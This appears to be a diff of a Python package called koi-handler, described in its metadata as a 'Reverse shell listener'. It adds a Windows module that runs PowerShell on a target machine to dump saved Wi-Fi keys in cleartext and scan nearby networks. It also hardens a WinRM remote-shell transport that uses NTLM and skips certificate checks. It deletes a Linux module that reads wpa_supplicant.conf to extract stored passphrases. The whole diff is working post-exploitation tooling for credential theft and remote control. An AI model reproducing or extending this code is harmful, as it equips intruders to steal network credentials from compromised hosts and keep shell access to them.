+ f"$r+=$p+'{self.FIELD_SEP}'+$a+'{self.FIELD_SEP}'+$k"
138
+ "}};"
139
+ "[KWlan]::WlanCloseHandle($_h,[IntPtr]::Zero)|Out-Null;"
140
+ f"$r -join '{self.REC_SEP}'"
141
+ "}",
142
+ timeout=TIMEOUTS["exec_query"] * 3,
143
+ )
144
+ if raw.strip():
145
+ creds: dict[str, str] = {}
146
+ other: list[list[str]] = []
147
+ for entry in raw.split(self.REC_SEP):
148
+ entry = entry.strip()
149
+ if self.FIELD_SEP not in entry:
150
+ continue
151
+ parts = entry.split(self.FIELD_SEP, 2)
152
+ if len(parts) < 3:
153
+ continue
154
+ name, auth, key = [p.strip() for p in parts]
155
+ if key and key != "[none]":
156
+ creds[name] = f"{key} ({auth})"
157
+ else:
158
+ other.append([name, auth])
159
+ if creds:
160
+ self.box("Wi-Fi Credentials (cleartext)", creds)
161
+ if other:
162
+ self.table("Saved profiles (no key recovered)", ["SSID", "Auth"], other)
163
+ else:
164
+ self.status("No Wi-Fi profiles found.")
165
+
166
+ from koi.utils.ui import yesno
167
+ if yesno("Scan nearby networks? (opens Wi-Fi panel on target)", prechosen=False):
168
+ with self.spinner("Scanning nearby networks..."):
169
+ scan = self._win_query(
170
+ "Start-Process explorer.exe -ArgumentList 'ms-availablenetworks:'"
171
+ " -ErrorAction SilentlyContinue;"
172
+ f"Start-Sleep -Seconds 6;(netsh wlan show networks mode=bssid) -join '{self.REC_SEP}'",
173
+ timeout=TIMEOUTS["exec_query"] * 3,
174
+ )
175
+ else:
176
+ with self.spinner("Listing cached nearby networks..."):
177
+ scan = self._win_query(
178
+ f"(netsh wlan show networks mode=bssid) -join '{self.REC_SEP}'",
179
+ timeout=TIMEOUTS["exec_query"],
180
+ )
181
+ if scan.strip():
182
+ networks: dict[str, str] = {}
183
+ cur: str | None = None
184
+ det: list[str] = []
185
+ for line in scan.split(self.REC_SEP):
186
+ line = line.strip()
187
+ if not line:
188
+ continue
189
+ sm = re.match(r'SSID\s+\d+\D*:\s*(.*)', line)
190
+ if sm:
191
+ if cur is not None:
192
+ networks[cur] = ' '.join(det)
193
+ ssid = sm.group(1).strip() or "hidden"
194
+ key, n = ssid, 1
195
+ while key in networks:
196
+ n += 1
197
+ key = f"{ssid} ({n})"
198
+ cur = key
199
+ det = []
200
+ elif cur and ':' in line:
201
+ k, _, v = line.partition(':')
202
+ k = k.strip().lower()
203
+ if 'signal' in k:
204
+ det.append(f"signal={v.strip()}")
205
+ elif 'auth' in k:
206
+ det.append(f"auth={v.strip()}")
207
+ if cur is not None:
208
+ networks[cur] = ' '.join(det)
209
+ if networks:
210
+ self.box("Nearby networks", networks)
211
+
212
+ self.success("Wi-Fi analysis complete.")
@@ -1,9 +1,11 @@
1
1
  from __future__ import annotations
2
2
 
3
3
  import getpass
4
+ import http.client
4
5
  import select
5
6
  import socket
6
7
  import threading
8
+ import time
7
9
  from dataclasses import dataclass, field
8
10
  from typing import Optional
9
11
 
@@ -144,12 +146,18 @@ class WinrmTransport(Transport):
144
146
 
145
147
  def _recv_loop():
146
148
  """WS-Man -> bridge socket: poll output and forward."""
149
+ errors = 0
147
150
  try:
148
151
  while not stop.is_set():
149
152
  try:
150
153
  data, done = client.receive_output(shell_id, command_id)
151
- except (TransportError, OSError):
152
- break
154
+ except (TransportError, OSError, http.client.HTTPException):
155
+ errors += 1
156
+ if errors > 3:
157
+ break
158
+ time.sleep(1)
159
+ continue
160
+ errors = 0
153
161
  if data:
154
162
  try:
155
163
  bridge.sendall(data)
@@ -187,7 +195,7 @@ class WinrmTransport(Transport):
187
195
  client.signal_ctrl_c(shell_id, command_id)
188
196
  else:
189
197
  client.send_input(shell_id, command_id, chunk)
190
- except (TransportError, OSError):
198
+ except (TransportError, OSError, http.client.HTTPException):
191
199
  break
192
200
  finally:
193
201
  stop.set()
@@ -214,6 +222,7 @@ class WinrmTransport(Transport):
214
222
  bridge.close()
215
223
  except Exception:
216
224
  pass
225
+ client.close()
217
226
 
218
227
  threading.Thread(target=_cleanup, daemon=True).start()
219
228
 
@@ -3,6 +3,7 @@ from __future__ import annotations
3
3
  import base64
4
4
  import http.client
5
5
  import ssl
6
+ import threading
6
7
  import uuid
7
8
  from typing import Optional
8
9
  from xml.etree import ElementTree as ET
@@ -12,7 +13,8 @@ from koi.utils.connect import ntlm
12
13
  from koi.utils.connect.base import TransportError
13
14
 
14
15
  _CONTENT_TYPE = 'application/soap+xml;charset=UTF-8'
15
- _TIMEOUT = 30
16
+ _OP_TIMEOUT = 30
17
+ _SOCK_TIMEOUT = _OP_TIMEOUT + 15
16
18
 
17
19
  _RSP = 'http://schemas.microsoft.com/wbem/wsman/1/windows/shell'
18
20
  _RESOURCE_CMD = _RSP + '/cmd'
@@ -56,7 +58,7 @@ def _envelope(action: str, url: str, shell_id: Optional[str], body: str) -> str:
56
58
  f'<wsa:Address s:mustUnderstand="true">{_ANONYMOUS}</wsa:Address>'
57
59
  f'</wsa:ReplyTo>'
58
60
  f'<wsman:MaxEnvelopeSize s:mustUnderstand="true">153600</wsman:MaxEnvelopeSize>'
59
- f'<wsman:OperationTimeout>PT{_TIMEOUT}S</wsman:OperationTimeout>'
61
+ f'<wsman:OperationTimeout>PT{_OP_TIMEOUT}S</wsman:OperationTimeout>'
60
62
  f'{selector}'
61
63
  f'</s:Header>'
62
64
  f'<s:Body>{body}</s:Body>'
@@ -82,25 +84,42 @@ class WsManClient:
82
84
  self._domain = domain
83
85
  self._use_ssl = use_ssl
84
86
  self._url = f'{"https" if use_ssl else "http"}://{host}:{port}/wsman'
87
+ self._local = threading.local()
88
+ self._all_conns: list[http.client.HTTPConnection] = []
89
+ self._conns_lock = threading.Lock()
85
90
 
86
- def _connect(self) -> http.client.HTTPConnection:
91
+ def _new_conn(self) -> http.client.HTTPConnection:
87
92
  if self._use_ssl:
88
93
  ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
89
94
  ctx.check_hostname = False
90
95
  ctx.verify_mode = ssl.CERT_NONE
91
96
  conn = http.client.HTTPSConnection(
92
- self._host, self._port, context=ctx, timeout=_TIMEOUT,
97
+ self._host, self._port, context=ctx, timeout=_SOCK_TIMEOUT,
93
98
  )
94
99
  else:
95
100
  conn = http.client.HTTPConnection(
96
- self._host, self._port, timeout=_TIMEOUT,
101
+ self._host, self._port, timeout=_SOCK_TIMEOUT,
97
102
  )
103
+ with self._conns_lock:
104
+ self._all_conns.append(conn)
98
105
  return conn
99
106
 
100
- def _post(self, body: str) -> bytes:
101
- conn = self._connect()
102
- body_bytes = body.encode('utf-8')
107
+ def _drop(self) -> None:
108
+ conn = getattr(self._local, 'conn', None)
109
+ if conn is not None:
110
+ with self._conns_lock:
111
+ try:
112
+ self._all_conns.remove(conn)
113
+ except ValueError:
114
+ pass
115
+ try:
116
+ conn.close()
117
+ except OSError:
118
+ pass
119
+ self._local.conn = None
120
+ self._local.authed = False
103
121
 
122
+ def _ntlm_auth(self, conn: http.client.HTTPConnection, body_bytes: bytes) -> tuple[int, bytes]:
104
123
  type1 = base64.b64encode(ntlm.negotiate()).decode()
105
124
  conn.request('POST', '/wsman', body=b'', headers={
106
125
  'Authorization': f'Negotiate {type1}',
@@ -112,7 +131,6 @@ class WsManClient:
112
131
  resp.read()
113
132
 
114
133
  if resp.status != 401:
115
- conn.close()
116
134
  raise TransportError(
117
135
  f'WinRM returned {resp.status} instead of 401 during NTLM negotiation '
118
136
  f'(is WinRM enabled on {self._host}:{self._port}?)',
@@ -120,7 +138,6 @@ class WsManClient:
120
138
 
121
139
  auth_header = resp.getheader('WWW-Authenticate', '')
122
140
  if not auth_header.startswith('Negotiate '):
123
- conn.close()
124
141
  raise TransportError('WinRM did not return an NTLM challenge')
125
142
 
126
143
  type2 = base64.b64decode(auth_header.split(' ', 1)[1])
@@ -135,21 +152,49 @@ class WsManClient:
135
152
  })
136
153
  resp = conn.getresponse()
137
154
  data = resp.read()
138
- conn.close()
139
155
 
140
156
  if resp.status == 401:
141
157
  raise TransportError('WinRM authentication failed (bad credentials or NTLM rejected)')
142
- if resp.status >= 400:
158
+ self._local.authed = True
159
+ return resp.status, data
160
+
161
+ def _check_response(self, status: int, data: bytes) -> bytes:
162
+ if status >= 400:
143
163
  try:
144
164
  fault = ET.fromstring(data)
145
165
  reason_el = fault.find('.//{http://www.w3.org/2003/05/soap-envelope}Text')
146
166
  detail = reason_el.text if reason_el is not None else data.decode('utf-8', errors='replace')[:300]
147
167
  except ET.ParseError:
148
168
  detail = data.decode('utf-8', errors='replace')[:300]
149
- raise TransportError(f'WinRM HTTP {resp.status}: {detail}')
150
-
169
+ raise TransportError(f'WinRM HTTP {status}: {detail}')
151
170
  return data
152
171
 
172
+ def _post(self, body: str) -> bytes:
173
+ body_bytes = body.encode('utf-8')
174
+ conn = getattr(self._local, 'conn', None)
175
+
176
+ # Fast path: reuse the thread's authenticated connection.
177
+ if conn is not None and getattr(self._local, 'authed', False):
178
+ try:
179
+ conn.request('POST', '/wsman', body=body_bytes, headers={
180
+ 'Content-Type': _CONTENT_TYPE,
181
+ 'Connection': 'keep-alive',
182
+ })
183
+ resp = conn.getresponse()
184
+ data = resp.read()
185
+ if resp.status != 401:
186
+ return self._check_response(resp.status, data)
187
+ except (OSError, http.client.HTTPException):
188
+ pass
189
+ self._drop()
190
+
191
+ # Slow path: new connection + NTLM handshake.
192
+ conn = self._new_conn()
193
+ self._local.conn = conn
194
+ self._local.authed = False
195
+ status, data = self._ntlm_auth(conn, body_bytes)
196
+ return self._check_response(status, data)
197
+
153
198
  def create_shell(self) -> str:
154
199
  body = (
155
200
  '<rsp:Shell>'
@@ -186,7 +231,13 @@ class WsManClient:
186
231
  f'<rsp:DesiredStream CommandId="{command_id}">stdout stderr</rsp:DesiredStream>'
187
232
  f'</rsp:Receive>'
188
233
  )
189
- data = self._post(_envelope(_ACTION_RECEIVE, self._url, shell_id, body))
234
+ try:
235
+ data = self._post(_envelope(_ACTION_RECEIVE, self._url, shell_id, body))
236
+ except TransportError as exc:
237
+ msg = str(exc).lower()
238
+ if 'timed out' in msg or 'timeout' in msg or 'time specified' in msg:
239
+ return b'', False
240
+ raise
190
241
  root = ET.fromstring(data)
191
242
 
192
243
  out = b''
@@ -243,4 +294,12 @@ class WsManClient:
243
294
  pass
244
295
 
245
296
  def close(self) -> None:
246
- pass
297
+ self._drop()
298
+ with self._conns_lock:
299
+ conns = list(self._all_conns)
300
+ self._all_conns.clear()
301
+ for conn in conns:
302
+ try:
303
+ conn.close()
304
+ except OSError:
305
+ pass
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.3
3
+ Version: 0.12.4
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -1,62 +0,0 @@
1
- from __future__ import annotations
2
-
3
- import re
4
- from koi.modules.blueprint import KoiModule
5
- from koi.utils.config import TIMEOUTS
6
-
7
-
8
- class WifiEnumModule(KoiModule):
9
- name = "wifi"
10
- description = "Cleanly enumerates nearby Wi-Fi networks and configurations via nmcli or local files."
11
- category = "Enumeration"
12
- platform = "linux"
13
- usage = "wifi <id>"
14
-
15
- def run(self) -> None:
16
- self.status("Analyzing Wi-Fi...")
17
-
18
- with self.spinner("Scanning Wi-Fi networks..."):
19
- nmcli_res = self._try_exec("nmcli --fields BARS,SSID,SECURITY device wifi list 2>/dev/null", timeout=TIMEOUTS["exec_query"])
20
-
21
- if nmcli_res and "SSID" in nmcli_res:
22
- lines = nmcli_res.splitlines()
23
- scanned_networks = {}
24
- for line in lines[1:]:
25
- line_clean = line.strip()
26
- if not line_clean:
27
- continue
28
- parts = re.split(r'\s{2,}', line_clean)
29
- ssid = parts[1].strip() if len(parts) > 1 else ""
30
- if not ssid or ssid == "--":
31
- ssid = "hidden"
32
- key, n = ssid, 1
33
- while key in scanned_networks:
34
- n += 1
35
- key = f"{ssid} ({n})"
36
- scanned_networks[key] = line_clean
37
- if scanned_networks:
38
- self.box("Detected networks (via nmcli)", scanned_networks)
39
- else:
40
- self.warn("nmcli returned no results (check interface status).")
41
-
42
- self.status("Checking Wi-Fi configuration files...")
43
-
44
- wpa_conf = self._try_exec("cat /etc/wpa_supplicant/wpa_supplicant.conf 2>/dev/null", timeout=TIMEOUTS["exec_query"])
45
- creds = {}
46
-
47
- if wpa_conf and "network=" in wpa_conf:
48
- networks = re.findall(r'network=\{([^\}]+)\}', wpa_conf, re.DOTALL)
49
- for idx, net_block in enumerate(networks):
50
- ssid_m = re.search(r'ssid="([^"]+)"', net_block)
51
- psk_m = re.search(r'psk="([^"]+)"', net_block)
52
- if ssid_m:
53
- ssid = ssid_m.group(1)
54
- psk = psk_m.group(1) if psk_m else "[Key missing]"
55
- creds[f"wpa_supplicant ({ssid})"] = f"PSK: {psk}"
56
-
57
- if creds:
58
- self.box("Extracted profiles", creds)
59
- else:
60
- self.status("No readable profiles found in standard locations.")
61
-
62
- self.success("Wi-Fi analysis complete.")
File without changes
File without changes